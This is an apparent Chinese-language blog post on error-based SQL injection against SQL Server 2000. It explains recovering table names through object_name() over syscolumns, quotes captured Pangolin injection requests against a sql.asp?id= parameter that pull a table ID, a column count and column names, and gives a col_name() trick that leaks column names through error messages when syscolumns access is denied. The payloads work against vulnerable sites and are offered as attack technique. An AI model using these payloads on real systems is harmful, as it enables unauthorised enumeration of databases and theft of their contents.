全部的表名都只存在了sysobjects表裏,因此咱們沒法從別的地方獲得表名。 可是,你們有沒注意過sql server提供的object_name函數呢? 它與object_id函數是相對應的,object_id會返回指定對象在數據庫中的id值。 而object_name會返回指定ID所對應的數據庫對象名,對於表來講天然就是表名了。 好了,如今只要獲得全部的用戶表的ID就能夠獲得表名了, 表的ID在不少地方都會存儲,好比syscolumns表, 咱們只要從syscolumns表裏面取得表的ID,再利用object_name就能夠獲得表名了。 下面是測試代碼: declare @id int select @id = 1 declare @sql varchar(100) while @id <= 200 begin select @sql = 'create table test'+ltrim(@id)+'(id int)' exec(@sql) select @id = @id +1 end select distinct(object_name(id)) from syscolumns where object_name(id) not in('sysobjects','sysindexes','syscolumns','systypes', 'syscomments','sysfiles1','syspermissions','sysusers','sysproperties','sysdepends','sysreferences', 'sysfulltextcatalogs','sysindexkeys','sysforeignkeys','sysmembers','sysprotects', 'sysfulltextnotify','sysfiles','sysfilegroups','dt_addtosourcecontrol','dt_addtosourcecontrol_u', 'dt_adduserobject_vcs','dt_checkinobject','dt_checkinobject_u','dt_checkoutobject','dt_checkoutobject_u', 'dt_displayoaerror','dt_displayoaerror_u','dt_droppropertiesbyid','dt_dropuserobjectbyid','dt_generateansiname', 'dt_getobjwithprop','dt_getobjwithprop_u','dt_getpropertiesbyid','dt_getpropertiesbyid_u','dt_getpropertiesbyid_vcs', 'dt_getpropertiesbyid_vcs_u','dt_isundersourcecontrol','dt_isundersourcecontrol_u','dt_setpropertybyid', 'dt_setpropertybyid_u','dt_validateloginparams','dt_validateloginparams_u','dt_whocheckedout','dt_whocheckedout_u', 'dtproperties','sysconstraints','syssegments') 代碼在SQL SERVER 2000下測試經過。 先來抓包看一個PANGOLIN的暴列名的語句 ,十分經典: SQL代碼 1. GET /sql.asp?id=1 and (select top 1 cast(id as nvarchar(20))+char(124) from [pubs]..[sysobjects] where name=0x4400390039005f0054006d007000)=0-- 取得要暴列名的表的ID 2. 3. GET /sql.asp?id=1 and (select cast(count(1) as varchar(10))+char(94) from [pubs]..[syscolumns] where id=757577737)=0-- 獲得此表的列的數量 4. 5. GET /sql.asp?id=1 and (select top 1 cast(name as varchar(8000)) from (select top 1 colid,name from [pubs]..[syscolumns] where id=757577737 order by colid) t order by colid desc)=0-- 開始從syscolumns裏面報列名了。 其它的注入工具也大同小異,都是從syscolumns裏面取得列名。 當咱們沒法從syscolumns表裏面取得數據該怎麼辦?好比咱們沒有syscolumns表的select權限。 下面就是文章的重點了,其實說白了也就是一個函數的應用 : SQL代碼 1. select 1 where 1=(select isnull(col_name(object_id('admin'),3),'meiyoucilie')) 上面這條語句表示獲得admin表的第三個列的名稱,並與1進行比較,結果確定是會報錯的,經過報錯結果咱們就能夠將第三列的名字暴出來了,沒有用到syscolumns表哦。 用到的是col_name函數,它有兩個參數,第一個就是表的ID,第二個就是列的索引。這個索引是從1開始的。 若是指定索引的號不存在。 好比admin表裏面一共才三個列,結果索引傳了個4進去 ,就會報錯說"meiyoucilie"